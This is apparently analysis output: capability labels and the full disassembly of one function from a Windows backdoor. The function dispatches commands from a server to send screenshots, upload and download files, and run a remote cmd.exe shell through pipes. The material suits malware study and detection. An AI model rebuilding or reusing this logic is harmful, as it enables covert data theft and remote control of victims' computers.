Function at 0x140001500
Capabilities:
Create pipe
Create process on windows
Download and write a file
Get common file path
Get comspec environment variable
Query environment variable
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Set current directory
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1790]
mov eax, 0x1890
call fcn.140004490
sub rsp, rax
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x1780], rax
movzx esi, dl
mov r13, rcx
xor edi, edi
mov ebx, edi
mov dword [rsp + 0x78], ebx
cmp dword [r8], edi
jne 0x1400016f9
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x270]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], recv
mov byte [rbp + 0x28], bl
lea rax, [rbp + 0x270]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], bl
jne 0x1400015a0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x28]
call fcn.140003320
nop
lea rbx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
setae r12b
mov r15, qword [rbp + 0x28]
cmovae rbx, r15
mov r14, qword [rbp + 0x38]
test r14, r14
je 0x14000165f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xc8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xcd]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0xcc], 1
lea rax, [r14 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x70], 0
jne 0x14000165a
cmp rcx, rbx
je 0x14000165f
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x70], 0
je 0x140001648
sub rcx, rbx
jmp 0x140001666
mov rcx, 0xffffffffffffffff
cmp r14, rcx
jb 0x1400021e7
mov qword [rbp + 0x38], rcx
lea rax, [rbp + 0x28]
test r12b, r12b
cmovne rax, r15
mov byte [rax + rcx], 0
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400016a0
lea rcx, [0x140008048]
call fcn.140003320
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x1400016f5
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003660
mov ebx, dword [rsp + 0x78]
cmp sil, 0x31
jne 0x1400017fc
call fcn.1400012c0
lea rdx, [0x140005538]
lea rcx, str.screenshot.png
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140001738
lea rcx, str.open_file_failed_n
call fcn.140001040
lea eax, [rbx + 1]
jmp 0x1400021b1
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov dword [rbp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x20]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400021a8
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
cmp dword [rbp + 0x20], 0
jle 0x1400017dd
nop dword [rax + rax]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400017dd
add edi, eax
cmp dword [rbp + 0x20], edi
jg 0x1400017a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.send_picture_success_n
call fcn.140001040
mov eax, 1
jmp 0x1400021b1
cmp sil, 0x32
jne 0x14000190b
mov dword [rsp + 0x78], 0xffffffff
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x78]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rsp + 0x78]
lea rcx, [0x140005598]
call fcn.140001040
movsxd rcx, dword [rsp + 0x78]
call fcn.1400038f4
mov r14, rax
xor r9d, r9d
mov r8d, dword [rsp + 0x78]
mov rdx, rax
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov rdx, r14
lea rcx, [0x140005580]
call fcn.140001040
mov dword [rbp + 0x20], 0xffffffff
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x20]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rbp + 0x20]
lea rcx, str.fileSize___d_n
call fcn.140001040
cmp dword [rbp + 0x20], 0xffffffff
je 0x1400021a8
lea rdx, [0x14000551c]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
cmp dword [rbp + 0x20], 0
jle 0x1400018f0
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
cmp ebx, 0xffffffff
je 0x1400018f0
mov r8, rbx
mov r9, rsi
mov edx, 1
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add edi, ebx
cmp edi, dword [rbp + 0x20]
jl 0x1400018b0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call fcn.140003660
mov eax, 1
jmp 0x1400021b1
cmp sil, 0x33
jne 0x140001a7e
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x70]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rdi
lea rdx, [rbp + 0x70]
lea rbx, [0x1400055b0]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140001960
cmp rcx, 5
jne 0x140001940
lea eax, [rcx - 4]
jmp 0x1400021b1
lea rdx, [0x140005538]
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x1400019d9
mov dword [rbp + 0x48], 0xfffffffe
lea rcx, str.file_path_fail_n
call fcn.140001040
xor r9d, r9d
lea r8d, [rsi + 4]
lea rdx, [rbp + 0x48]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x70]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rdi
lea rdx, [rbp + 0x70]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140001960
cmp rcx, 5
je 0x1400021a8
jmp 0x1400019c0
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov dword [rbp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x20]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
cmp dword [rbp + 0x20], 0
jle 0x140001a6b
mov r9, rsi
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rbx, rax
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
add edi, ebx
cmp edi, dword [rbp + 0x20]
jl 0x140001a30
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, 1
jmp 0x1400021b1
cmp sil, 0x35
jne 0x1400021af
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0x18
mov qword [rbp - 0x60], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
mov qword [rbp - 0x68], rdi
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], di
mov rax, qword [rbp - 0x78]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov dword [rsp + 0x50], edi
nop word [rax + rax]
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x270]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rbp + 0x270]
mov rax, 0xffffffffffffffff
lea rax, [rax + 1]
cmp byte [rcx + rax], 0
jne 0x140001b55
lea r8d, [rax + 1]
xor r9d, r9d
lea rdx, [rbp + 0x270]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
inc eax
cmp eax, 1
jbe 0x140001b10
mov r8d, 0x200
lea rdx, [rbp + 0x70]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x140001bf2
mov edx, 0x200
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140001bd0
mov edx, 0x200
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x380]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001c00
test eax, eax
je 0x140001c72
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001c20
mov edx, 0x200
sub rdx, rax
lea r8, str.__c
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001c50
mov edx, 0x200
sub rdx, rax
lea r8, [rbp + 0x380]
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rdx, [rbp + 0x70]
lea rcx, [0x140005580]
call fcn.140001040
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], recv
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x380]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001ca4
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x28]
call fcn.140003320
nop
mov rax, qword [rbp + 0x38]
lea r8, [rax - 1]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], recv
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.140003320
or ebx, 1
mov dword [rsp + 0x78], ebx
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140001d3b
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002163
call fcn.140003660
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x28], xmm1
movups xmm2, xmmword [rsp + 0x68]
movups xmmword [rbp + 0x38], xmm2
lea rsi, [rbp + 0x28]
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
setae r12b
movq r15, xmm1
cmovae rsi, r15
movq r14, xmm2
cmp r14, 2
jb 0x140001dd0
lea rbx, [r14 + rsi]
lea r8, [rbx - 1]
sub r8, rsi
mov edx, 0x63
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001dcc
cmp byte [rax], 0x63
jne 0x140001da7
cmp byte [rax + 1], 0x64
jne 0x140001da7
mov ecx, edi
jmp 0x140001dac
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140001e19
inc rax
lea r8, [rbx - 1]
sub r8, rax
mov edx, 0x63
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001d98
mov ebx, dword [rsp + 0x78]
mov rax, 0xffffffffffffffff
cmp rax, 0xffffffffffffffff
je 0x140001f4f
lea rbx, [rbp + 0x28]
test r12b, r12b
cmovne rbx, r15
cmp r14, 1
jb 0x140001e4a
lea rsi, [r14 + rbx]
mov r8, rsi
sub r8, rbx
mov edx, 0x20
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001e4a
nop
cmp byte [rax], 0x20
jne 0x140001e22
mov ecx, edi
jmp 0x140001e27
sub rax, rsi
mov ebx, dword [rsp + 0x78]
jmp 0x140001dd7
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140001f47
inc rax
mov r8, rsi
sub r8, rax
mov edx, 0x20
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001e10
mov rax, 0xffffffffffffffff
lea rcx, [rax + 1]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], recv
cmp r14, rcx
jb 0x1400021e1
sub r14, rcx
mov r8, 0xffffffffffffffff
cmp r14, r8
cmovb r8, r14
lea rdx, [rbp + 0x28]
test r12b, r12b
cmovne rdx, r15
add rdx, rcx
lea rcx, [rsp + 0x58]
call fcn.140003320
mov ebx, dword [rsp + 0x78]
or ebx, 2
mov dword [rsp + 0x78], ebx
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140001ee0
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001edb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002163
call fcn.140003660
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbp + 0x38], xmm1
lea rcx, [rbp + 0x28]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x140001f3a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
mov r8d, eax
lea rcx, str.SetCurrentDirectory_fail___dir:_s_errorNum:_d_n
call fcn.140001040
mov r14d, 1
mov dword [rsp + 0x50], r14d
jmp 0x140001f54
sub rax, rbx
jmp 0x140001e51
mov r14d, dword [rsp + 0x50]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001f97
jmp 0x140002123
lea rdx, str.exit_n
lea rcx, [rbp + 0x380]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000216a
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x780]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x48], edi
mov dword [rbp + 0x20], edi
mov esi, edi
nop
mov qword [rsp + 0x28], rdi
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1400020bd
cmp dword [rbp + 0x48], 0
jbe 0x1400020bd
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x20]
mov r8d, 0x1000
lea rdx, [rbp + 0x780]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400020c7
mov edx, dword [rbp + 0x20]
test edx, edx
je 0x1400020c7
mov ebx, edi
lea rcx, [0x140005598]
call fcn.140001040
mov r14d, 1
mov ecx, dword [rbp + 0x20]
nop dword [rax + rax]
movsxd rax, ebx
lea rdx, [rbp + 0x780]
add rdx, rax
xor r9d, r9d
mov r8d, ecx
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
lea ecx, [rax + 1]
cmp ecx, r14d
jbe 0x1400020c7
add ebx, eax
sub dword [rbp + 0x20], eax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [rbp + 0x20]
test ecx, ecx
jne 0x140002070
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
jmp 0x140001ff0
test r14d, r14d
jne 0x1400020d9
cmp esi, 5
je 0x1400020de
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
jmp 0x140001ff0
cmp esi, 3
je 0x1400020ed
mov r8d, 3
lea rdx, [0x140005600]
jmp 0x1400020fa
mov r8d, 5
lea rdx, str.noIO
xor r9d, r9d
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x50], edi
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x780]
call sub.VCRUNTIME140.dll_memset
nop
mov ebx, dword [rsp + 0x78]
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140001b10
inc rdx
mov rcx, qword [rbp + 0x28]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140002159
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000219c
call fcn.140003660
jmp 0x140001b10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x1400021a8
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003660
mov eax, 1
jmp 0x1400021b1
xor eax, eax
mov rcx, qword [rbp + 0x1780]
xor rcx, rsp
call fcn.140003640
lea r11, [rsp + 0x1890]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003480
nop
call fcn.140003480
int3